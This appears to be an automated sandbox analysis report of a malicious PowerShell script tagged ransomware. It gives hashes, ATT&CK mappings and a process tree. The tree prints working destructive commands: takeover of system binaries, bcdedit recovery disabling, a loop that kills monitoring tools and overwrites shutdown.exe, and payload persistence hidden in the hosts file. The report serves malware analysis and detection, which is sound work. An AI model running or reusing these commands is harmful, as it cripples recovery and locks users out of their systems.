dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f

Analysis

user interaction
yes
max time kernel
24s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/07/2026, 17:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260701-wkllysc14v
SHA256 dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f
MD5 ba308282055c8dfbdea4bd6821d5843b
SHA1 aba314b41460213c0704155010a45e6b9d24d39e
SHA512 8f77986bd52d8ed1f2972ef16b77500b3df1a989cad12014fb398e86c1a8ca56f7061e05ec0fbd9a4ac802aa7c00672b8d82b09589b5b1aacda37a4974da34ed
SSDEEP 192:Mt14EX0PIVal6JmpxTAZ8Wm2ocMSKLcynIrDmgAQe5EmIvvf+eTY8fvKiNiRHBk6:tgV5JMJcMSKLHInAomIvu4P8uuyE
TLSH
T16942A645AB15526585B29B24DDC2A29AFF3B003F11B75200B5ADC2907FB253ACB39ECC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery evasion execution exploit ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1020	bcdedit.exe
404	bcdedit.exe
976	bcdedit.exe
3004	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
132	powershell.exe
1156	powershell.exe
2556	PowerShell.exe
800	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	PowerShell.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2368	icacls.exe
2436	takeown.exe
2160	icacls.exe
1468	takeown.exe
3596	icacls.exe
4724	takeown.exe
3060	icacls.exe
1840	takeown.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4724	takeown.exe
3060	icacls.exe
1840	takeown.exe
2368	icacls.exe
2436	takeown.exe
2160	icacls.exe
1468	takeown.exe
3596	icacls.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\shutdown.exe	PowerShell.exe
File opened for modification	C:\Windows\system32\logoff.exe	PowerShell.exe
File opened for modification	C:\Windows\system32\tsdiscon.exe	PowerShell.exe
File opened for modification	C:\Windows\system32\reset.exe	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2556	PowerShell.exe
2556	PowerShell.exe
800	powershell.exe
800	powershell.exe
132	powershell.exe
132	powershell.exe
1156	powershell.exe
1156	powershell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe
2556	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2556	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2556	PowerShell.exe
Token: SeBackupPrivilege	2556	PowerShell.exe
Token: SeRestorePrivilege	2556	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2556	PowerShell.exe
Token: SeSecurityPrivilege	2556	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2556	PowerShell.exe
Token: SeLoadDriverPrivilege	2556	PowerShell.exe
Token: SeSystemProfilePrivilege	2556	PowerShell.exe
Token: SeSystemtimePrivilege	2556	PowerShell.exe
Token: SeProfSingleProcessPrivilege	2556	PowerShell.exe
Token: SeIncBasePriorityPrivilege	2556	PowerShell.exe
Token: SeCreatePagefilePrivilege	2556	PowerShell.exe
Token: SeBackupPrivilege	2556	PowerShell.exe
Token: SeRestorePrivilege	2556	PowerShell.exe
Token: SeShutdownPrivilege	2556	PowerShell.exe
Token: SeDebugPrivilege	2556	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	2556	PowerShell.exe
Token: SeRemoteShutdownPrivilege	2556	PowerShell.exe
Token: SeUndockPrivilege	2556	PowerShell.exe
Token: SeManageVolumePrivilege	2556	PowerShell.exe
Token: 33	2556	PowerShell.exe
Token: 34	2556	PowerShell.exe
Token: 35	2556	PowerShell.exe
Token: 36	2556	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2556	PowerShell.exe
Token: SeSecurityPrivilege	2556	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2556	PowerShell.exe
Token: SeLoadDriverPrivilege	2556	PowerShell.exe
Token: SeSystemProfilePrivilege	2556	PowerShell.exe
Token: SeSystemtimePrivilege	2556	PowerShell.exe
Token: SeProfSingleProcessPrivilege	2556	PowerShell.exe
Token: SeIncBasePriorityPrivilege	2556	PowerShell.exe
Token: SeCreatePagefilePrivilege	2556	PowerShell.exe
Token: SeBackupPrivilege	2556	PowerShell.exe
Token: SeRestorePrivilege	2556	PowerShell.exe
Token: SeShutdownPrivilege	2556	PowerShell.exe
Token: SeDebugPrivilege	2556	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	2556	PowerShell.exe
Token: SeRemoteShutdownPrivilege	2556	PowerShell.exe
Token: SeUndockPrivilege	2556	PowerShell.exe
Token: SeManageVolumePrivilege	2556	PowerShell.exe
Token: 33	2556	PowerShell.exe
Token: 34	2556	PowerShell.exe
Token: 35	2556	PowerShell.exe
Token: 36	2556	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2556	PowerShell.exe
Token: SeSecurityPrivilege	2556	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2556	PowerShell.exe
Token: SeLoadDriverPrivilege	2556	PowerShell.exe
Token: SeSystemProfilePrivilege	2556	PowerShell.exe
Token: SeSystemtimePrivilege	2556	PowerShell.exe
Token: SeProfSingleProcessPrivilege	2556	PowerShell.exe
Token: SeIncBasePriorityPrivilege	2556	PowerShell.exe
Token: SeCreatePagefilePrivilege	2556	PowerShell.exe
Token: SeBackupPrivilege	2556	PowerShell.exe
Token: SeRestorePrivilege	2556	PowerShell.exe
Token: SeShutdownPrivilege	2556	PowerShell.exe
Token: SeDebugPrivilege	2556	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	2556	PowerShell.exe
Token: SeRemoteShutdownPrivilege	2556	PowerShell.exe
Token: SeUndockPrivilege	2556	PowerShell.exe
Token: SeManageVolumePrivilege	2556	PowerShell.exe
Token: 33	2556	PowerShell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 4476	2556	PowerShell.exe	81
PID 4476 wrote to memory of 2764	4476	csc.exe	82
PID 2556 wrote to memory of 1468	2556	PowerShell.exe	83
PID 2556 wrote to memory of 3596	2556	PowerShell.exe	84
PID 2556 wrote to memory of 4724	2556	PowerShell.exe	85
PID 2556 wrote to memory of 3060	2556	PowerShell.exe	86
PID 2556 wrote to memory of 1840	2556	PowerShell.exe	87
PID 2556 wrote to memory of 2368	2556	PowerShell.exe	88
PID 2556 wrote to memory of 2436	2556	PowerShell.exe	89
PID 2556 wrote to memory of 2160	2556	PowerShell.exe	90
PID 2556 wrote to memory of 2444	2556	PowerShell.exe	91
PID 2444 wrote to memory of 1036	2444	csc.exe	92
PID 2556 wrote to memory of 4028	2556	PowerShell.exe	93
PID 4028 wrote to memory of 3296	4028	csc.exe	94
PID 2556 wrote to memory of 4016	2556	PowerShell.exe	96
PID 4016 wrote to memory of 3752	4016	csc.exe	97
PID 2556 wrote to memory of 800	2556	PowerShell.exe	98
PID 2556 wrote to memory of 132	2556	PowerShell.exe	100
PID 2556 wrote to memory of 1020	2556	PowerShell.exe	102
PID 2556 wrote to memory of 404	2556	PowerShell.exe	103
PID 2556 wrote to memory of 976	2556	PowerShell.exe	104
PID 2556 wrote to memory of 3004	2556	PowerShell.exe	105
PID 2556 wrote to memory of 1156	2556	PowerShell.exe	106
PID 2556 wrote to memory of 5000	2556	PowerShell.exe	108

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2A86.tmp" "c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\CSC5B8D486F6A944A618E661124413F45.TMP"
    3⤵
    PID:2764
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\shutdown.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1468
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\shutdown.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3596
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\logoff.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4724
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\logoff.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3060
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\tsdiscon.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1840
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\tsdiscon.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2368
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\reset.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2436
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\reset.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2160
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES30EE.tmp" "c:\Users\Admin\AppData\Local\Temp\vxnl2c43\CSCF59F9B9591C4694992C5BCBE6FDE33.TMP"
    3⤵
    PID:1036
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES315C.tmp" "c:\Users\Admin\AppData\Local\Temp\anjtoatg\CSCDAECBE916204249B9B5221F796CDC.TMP"
    3⤵
    PID:3296
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3795.tmp" "c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\CSCA74A904BE2354E2398E3DA1213C6F5FE.TMP"
    3⤵
    PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { # Kill taskkill, taskmgr, process explorer, etc. $badProcs = @("taskkill","taskmgr","procexp","procmon","psexec","wmic","cscript","wscript","powershell_ise") foreach ($p in $badProcs) { Get-Process -Name $p -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } # Re-apply shutdown blocker and overwrite executables if restored try { $blocker = [ShutdownBlocker]; $blocker::Block() } catch {} $system32 = [Environment]::SystemDirectory $exes = @("shutdown.exe","logoff.exe") foreach ($e in $exes) { $path = Join-Path $system32 $e if (Test-Path $path) { $content = Get-Content $path -ErrorAction SilentlyContinue if ($content -notmatch "vm_keeper") { takeown /F $path /A 2>$null; icacls $path /grant Administrators:F /t 2>$null $dummy = "@echo off`npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"C:\Windows\Temp\vm_keeper.ps1`"`nexit /b 0" Set-Content -Path $path -Value $dummy -Force } } } Start-Sleep -Seconds 30 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:132
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1020
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set {globalsettings} optionsedit false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:404
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:976
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { if (-not (Test-Path "C:\Windows\Temp\vm_keeper.ps1")) { # Restore from a hidden alternate data stream (store in hosts file) $backup = [System.IO.File]::ReadAllText("C:\Windows\System32\drivers\etc\hosts") if ($backup -match "KEEPER_START(.*)KEEPER_END") { [System.IO.File]::WriteAllText("C:\Windows\Temp\vm_keeper.ps1", $matches[1]) } } Start-Sleep -Seconds 5 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1156
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force /target:computer
  2⤵
  PID:5000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 4518fb6ffb3f70be78cb243cac94fcf74d9c58d2e7bd8c510ebe696d3f81cb60
MD5 b6c336e3b3cb2cd04d42baac1aa4aa0d
SHA1 35a943816f3e9cd596e91be92c4bdb1b05a42d88
SHA512 42c4a8f07051ac7c00014ddaa0b0db50bdbcb49a30ae96803e37f3a566c100932367e0a50baead881509ae4a4d49c769513626c5015fe0a02d1d3ae22ca759f4
TLSH
T1F4116633B78CC034C899057A108CAE01B1B4C3CB049FDE8B7A84C105E57F98AEB941E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b6086659d609348518f33c0dc4032f862c5f24f52ad83fd80c041604dc9e6bcd
MD5 2bfa14373f317a5acc95aa3a61892468
SHA1 55f1df2db8790c0660fc67ec56a429a5cd3bbfca
SHA512 707e31658fdeb44b278c362ca6a0a35a8ef5597ec2ef5f4ec301f2c2d919a1a610003aa41d531cac5d330c2ff7439063174f342c77af0a5fb31bceb831ff4aae
TLSH
T13741A873B3DCC635C8CE017B1088AD267162C3D7449E8F8B7B84D518A17FAA9DF68198
MD5 SHA1 SHA512 TLSH

Submit Download

RES2A86.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2A86.tmp
Size 1KB
SHA256 21bbfe2f3ad0013c55cbaa6e40bb1261984ffd17109491a8b9a632f497401aad
MD5 20c521cd8e1f9b1a01ac87123dfb7e26
SHA1 e05a32e6da4c087ae1032be6db6d6bceca082a03
SHA512 a5eac4ce06cc33002c12d0b849fa6b483ff2cf7c55856ac9117ec245a782d44626ca88aaefc234f39d55afe99bb3037fbdb24cc57ffa088749f2586cebb5854f
TLSH
T11021EF0143E9470FF0B34732ADF6032BA234FD54DFA2935B8541422C1C41104EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES30EE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES30EE.tmp
Size 1KB
SHA256 01e937e59fa70edef08a0c017f44dd92a87b4c50b67612acc86ea8aa57374f25
MD5 606b740b98a943d63e15521062208338
SHA1 b6ab4c8212dbe8e24f28b4274e8aa1b9343c2cc3
SHA512 104e89fd20a511890e9af232323e8ced6cc719d943be43ce0468508dc115fa3852c5cc0ab6eee1c5a4fd8ff43646ddc0c5f1087b325b03bf4f4d64a28f9a5b48
TLSH
T16321EB0993E84B0FF073473169F6072FA274FEA4EFA2575B864442281C91504EEB0E72
MD5 SHA1 SHA512 TLSH

Submit Download

RES315C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES315C.tmp
Size 1KB
SHA256 c13ad02b7c302f4ffa4c73ce8c92b2cecc0cd54b2097fcff1cb5c76c65120257
MD5 df5004eb7940f49d65d6c7fb2a35ebd8
SHA1 80ff0e94e00ef21eb48607f705577698ee43d408
SHA512 73b76e6a50e5b5ef117dcdfc9de4a9bb766964000f5ccfc6f7731d5cdb47d5ef1250fb318c85e739fa7a63d125ab811298c881f619d464d26113e2850e380b94
TLSH
T13D21894583F84B1FF073473269FA172BA274FDA4AFA2975B8540412C2C51504EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES3795.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3795.tmp
Size 1KB
SHA256 20303c574d74eaec951b9457f3a0eb2ff0f88bf6bfd3485524a2f8f05ca1bae9
MD5 f9bd545c5fc8278bb4393b5658597100
SHA1 b1868619f1f8700eae4c7b43a9bad596b66c6626
SHA512 f3121a29fabbf6d332108dbd785ef377725f03aa06f28a5c3019839383ec41075a5f3e67f544fb87a645b9025e07edfe53e55c1433d22319f4fa5e2377a18659
TLSH
T1E6218C4593E94B1EF077573169F6132F9279FDA8EF61579B8540522C1C41104EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rfaibjb2.hmc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfaibjb2.hmc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

anjtoatg.dll

Path C:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.dll
Size 3KB
SHA256 ada6cfa334868fc8ca3a0982dae215d2be49cacebacf8386ebf8bfb0bc2675c9
MD5 f175e79b436730c07f074036130b53ef
SHA1 d9502917d3325ccc425f3fb86e473944604bd75a
SHA512 ef14aed7002acd377b3145cc893c0bc7ff8d9046bdce4dc08fca1b2f4edcf86d39baafba214be14b1fc6291579ec455bcc758d36c6efb6b600cb4d04778635d2
TLSH
T1DA71BC56A3F4472BF47B0771AEF7076227B5FC208B73935E0880421CAC646605E72BB2
MD5 SHA1 SHA512 TLSH

Submit Download

pkwl2e3x.dll

Path C:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.dll
Size 3KB
SHA256 0d52be02344128c5f845b3b578cfc771e56919280259e3c3d5c7b28babbea893
MD5 6f12560efaf3a30b32dac50aa4bd129c
SHA1 08b067a400ccd85ec05ce07f04234b1ee22d2593
SHA512 b4648362752b0364479e4b102c776d8b780324825019a8592f3f6eca63350a8f8b6829291941ac31650251389fe9547693cdbeba4f6668bab206e21b31b9af12
TLSH
T1D7712E17A7E8462AE0BB0B346EB3431667B4F8509E6383AF0AD002296C547305E31FF5
MD5 SHA1 SHA512 TLSH

Submit Download

vxnl2c43.dll

Path C:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.dll
Size 3KB
SHA256 9bdb38263c3e9d35d47987f153594a832d367b86ac8a686674991704af9025ae
MD5 9e1a71646b223cb73eb5a65922a2d0cb
SHA1 00a9fa8f741904fd19e053f365461526b1afe96e
SHA512 7d6404e73f8d0de4d26ecfaa0b021a251d578c967e17babe590581cadee9e35fde245e1175f6340d66c538826be78ead34adc7a16347de21e17e4abcdbc03efb
TLSH
T126710E06A7EC462BF0AF0734AEF303172BB4F9509AB7A77E099442296C817205D31BB0
MD5 SHA1 SHA512 TLSH

Submit Download

yt1d1x4f.dll

Path C:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.dll
Size 4KB
SHA256 4d1e3727fc3c5eac45762fadb3912a99c676d8846eb224772c8780bcc930990a
MD5 eb0db49f04b8d47e755b3355f8ac0e03
SHA1 76ac4e9773fbed0778dd4699a43b4b475d17edd7
SHA512 cc0ac3f8d96733d1bcbe198fcf5123f2fc611a372d8adce66ae9815c26227a7ea7f2eca0a763318e68d056314de57f1721ef51881614da012c83e2942bd87030
TLSH
T185815117ABFC0A23E4F707B4AFF3171217B4F8248F73976B188181692CA56400E26B66
MD5 SHA1 SHA512 TLSH

Submit Download

CSCDAECBE916204249B9B5221F796CDC.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\anjtoatg\CSCDAECBE916204249B9B5221F796CDC.TMP
Size 652B
SHA256 6829ee3c45d470dc6342609b8171ea4eb66666d2ac60a9cda1f56bcc90b93ea8
MD5 d63426b5a35ef256391493c561e6843f
SHA1 bf51b745ca99f3a27283e74f2c3e40abc0e79f6c
SHA512 ae3d83ddc4300afd3f27e2b19e29fe543329b48e10296e4ec3145e08f21b97bdd5f8aa5d69c3f321a0673b8e99118329595211f0130878b716f7b79b3c566e1d
TLSH
T127F05E4AA3F8120EF4F34B31BEFA436391B8FC64DE7293ED1440135D28645208A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

anjtoatg.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.0.cs
Size 343B
SHA256 8f8bb45b4717e93bf9dec52ce3c79ec153df04ab8286ee7c2467001f3488c60f
MD5 0c81806dea6e0124dad77a909229236d
SHA1 08ed23a328b1c243ec01bde0a6b27d1e1ce9afdc
SHA512 3638f3782922541a6a44fd2d82f7f7fce6879442354da34d18e400f0538bca815f1c17ba7701600292c03e61ed44a6c0989f7fec19ead565f9c3ba53d3b958a0
TLSH
T1DBE026E813BAAF1450224382DC0080A9FAA35039533BD250B9DDD2147FBE4188235F19
MD5 SHA1 SHA512 TLSH

Submit Download

anjtoatg.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.cmdline
Size 369B
SHA256 7c3001cf49f83a22a5e336e9a114ebdd6d69d396c1827868a86be8ed4f5629b3
MD5 ddad3427434e06ad66447896277b538a
SHA1 ea1867e26a88bcc121de93e742e7fb05829ef57c
SHA512 40575d529577879c069310fbc5e92c61dc7a3965f9ba0d93d87e7e2d2858a6b8b18aec4e0549eb893b2a31e37ad32f174eafbeedb74980b126c292366bd24ef6
TLSH
T17CE0202E9256C6BF15ED10072179C9BCE27287C729417F8C9150C45DE46F80467E1BD7
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA74A904BE2354E2398E3DA1213C6F5FE.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\CSCA74A904BE2354E2398E3DA1213C6F5FE.TMP
Size 652B
SHA256 bae8b8e3c8c98410f52818c570bc6bb468b646036197f92935d9e7326b82eaea
MD5 d59d2ab8d996e25c73070b9150cb8e10
SHA1 9aea65349832fb5eedbe84cb5f4f109ccbfc7122
SHA512 ee549e25fd179d01bb323f71939d39b7b5e44b308c719baee595becc18c80becf0a18620913a49e802d8e5c3f1eef9462c408fad26fb7d9eefd879012c4dd6c7
TLSH
T15DF05E4963F9020EF0F74B30BDF6436391A9BCA5DF3293ED1480532928645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

pkwl2e3x.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.0.cs
Size 647B
SHA256 1fa82e05df0472d6560e9350f0a6812cc1fd53429452ab1678ff5ba1c0350800
MD5 a07fae728a7a6224365f916bec59ae44
SHA1 ae733de114c4a51106f3bd093f644f18445f19b1
SHA512 1481ad06ed8b2bb3d7c95e0d203e6f4c12265292813cf941e39377a8ce67a47b3fd3fd1dde24fcffb21aaca61b8c8f7321a7ba443767d4e262f9b9ef6810c429
TLSH
T13AF04C64B3254D5084725628AC59A168F617407302A62A45F6AE0211EF7B129D2B4F5C
MD5 SHA1 SHA512 TLSH

Submit Download

pkwl2e3x.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.cmdline
Size 369B
SHA256 a1de51363f7c855c901c9377aaffaf64e39ea995327a6ee309f0b9a258d1962c
MD5 0cb69b2f52e0a324b39abdd1f04d50d0
SHA1 e9a88192d140186fd300d62652695e4c4cf67ab4
SHA512 c3497da5a4b76dd71e7f274b6181fac108c50540554e231042a4061963f20561392731b205b1668fc1b4a2a84f05ce0a116bb18ca16a185e84728502babbc242
TLSH
T131E06F6B43C6C67E21F9100B227AC4AC967207A339803F849258882DE467100ABD2B81
MD5 SHA1 SHA512 TLSH

Submit Download

CSCF59F9B9591C4694992C5BCBE6FDE33.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\vxnl2c43\CSCF59F9B9591C4694992C5BCBE6FDE33.TMP
Size 652B
SHA256 04269675a4da005366ff75e9f60fc86529b3a4e5fa57c9bacbd4db9524031366
MD5 b4de81524071cc21e31b64cc9dbaef25
SHA1 aef09078c32693bafcb4bc60d48fe4b8814f5572
SHA512 e4465b737f997819898f3767063d82aca7491ba115d4cfb9b38ba242178263578ae30843c129f947904924c2a80749fff7050f4a76ecc95dde9d7416b9ce5b4f
TLSH
T117F05E0963F8020EF4F34B70BDF6436395A8BC65DE7293ED1484035928649109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

vxnl2c43.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.0.cs
Size 548B
